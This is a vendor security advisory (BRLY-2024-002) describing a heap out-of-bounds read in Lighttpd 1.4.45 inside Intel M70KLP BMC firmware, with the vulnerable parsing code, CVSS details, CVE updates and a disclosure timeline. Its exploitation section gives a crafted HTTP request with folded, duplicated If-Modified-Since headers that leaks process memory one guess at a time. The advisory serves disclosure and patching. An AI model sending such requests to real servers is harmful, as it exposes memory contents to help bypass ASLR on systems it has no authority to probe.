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Advisory ID:
BRLY-2024-002

[BRLY-2024-002] OOB Read in Lighttpd 1.4.45 used in Intel M70KLP series firmware

April 11, 2024
Severity:
Medium
CVSS Score
5.3
Public Disclosure Date:
April 11, 2024
CVE ID:

Summary

Binarly REsearch Team has discovered a Heap Out-of-bounds Read vulnerability in the web server component of Intel BMC firmware, allowing a potential attacker to exfiltrate sensitive information from Lighttpd process memory.
Vendors Affected Icon

Vendors Affected

Intel
Affected Products icon

Affected Products

M70KLP

Potential Impact

A potential attacker can exploit this vulnerability in order to read memory of Lighttpd Web Server process. This may lead to sensitive data exfiltration, such as memory addresses, which can be used to bypass security mechanisms such as ASLR.

The Binarly REsearch team have discovered a Heap Out-of-bounds Read vulnerability in the web server component of Intel BMC firmware, allowing a potential attacker to exfiltrate sensitive information from Lighttpd process memory.

Vulnerability Information

BINARLY internal vulnerability identifier: BRLY-2024-002

BINARLY calculated CVSS v3.1: 5.3 Medium AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Affected Intel firmware with confirmed impact by Binarly REsearch Team

Device Version SHA256
M70KLP 01.04.0030 (latest) 0377e9130103f8eda7086d5471cc425f074be85ab4de56ba7dc22e636553ff39

Potential impact

A potential attacker can exploit this vulnerability in order to read memory of Lighttpd Web Server process. This may lead to sensitive data exfiltration, such as memory addresses, which can be used to bypass security mechanisms such as ASLR.

Vulnerability description

Lighttpd 1.4.45 contains flaws in HTTP request parsing logic. If incoming request contains multiple If-Modified-Since headers, web server compares if their values are equal, and the response status code depends on the result of this check:


...
} else if (cmp > 0 && 0 == (cmp = buffer_caseless_compare(CONST_BUF_LEN(ds->key), CONST_STR_LEN("If-Modified-Since")))) {
    /* Proxies sometimes send dup headers
     * if they are the same we ignore the second
     * if not, we raise an error */
    if (!con->request.http_if_modified_since) {
        con->request.http_if_modified_since = ds->value->ptr;
    } else if (0 == strcasecmp(con->request.http_if_modified_since,
                ds->value->ptr)) {
        /* ignore it if they are the same */

        ds->free((data_unset *)ds);
        ds = NULL;
    } else {
        con->http_status = 400;
        con->keep_alive = 0;
...

Lighttpd supports "folding" of request headers values, which means they can be provided in the following form:

If-Modified-Since: `<PartOne>`\r\n
\t`<PartTwo>`

In such a case, <PartTwo> will be appended to the buffer containing <PartOne> (ds->value->ptr) with buffer_append_stringcall. If the existing buffer size is not enough for extending it with <PartTwo>, realloc call will be used in order to provide pointer to the new memory region with required size, when the memory used for the old buffer is marked as free.  Crucially, con->request.http_if_modified_since is not updated with the new buffer pointer value, and when its value is compared with the value of the second If-Modified-Since header, this freed memory can contain sensitive data, like memory addresses or even content of other HTTP requests/responses. Since an attacker controls the value of the second If-Modified-Since header, he can potentially guess content of this memory region, and in such a case HTTP response status code different from 400 will be returned.

Steps for exploitation

A potential attacker can send to the web server massive number of requests in the following format:

GET / HTTP/1.1\r\n
Host: test\r\n
If-Modified-Since: EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE\r\n\
\tCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\n
If-Modified-Since: 8j!\r\n
\r\n

If the returned response status code is not equal to 400, it will mean that value 0x00216a38 was exfiltrated from Lighttpd process memory.


Note: It is only possible to use bytes >= 0x20 in the headers value, otherwise this check will trigger.

Note: It was discovered that the target memory region contents remain the same if 1s timeout is used between requests.

How to fix it

This vulnerability was fixed in Lighttpd 1.4.51. While updating to this version mitigates current issue, we highly recommend using the latest stable version.

Note: This vulnerability was discovered before, but no CVE was assigned.

Update 06.18.2024: With the help of CERT/CC, the Lighttpd vulnerability has finally been assigned identifier CVE-2018-25103. AMI issued CVE-2024-3708 as this vulnerability affects the MegaRAC product (on which the Intel M70KLP BMC firmware is based).

Disclosure timeline

This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.

Disclosure Activity Date (YYYY-mm-dd)
Intel PSIRT is notified 2024-03-21
Intel PSIRT stated that product is EOL 2024-03-21
BINARLY public disclosure date 2024-04-11

Acknowledgements

Binarly REsearch Team

Tags
BMC
Intel
Lenovo
Vulnerability
FWHunt
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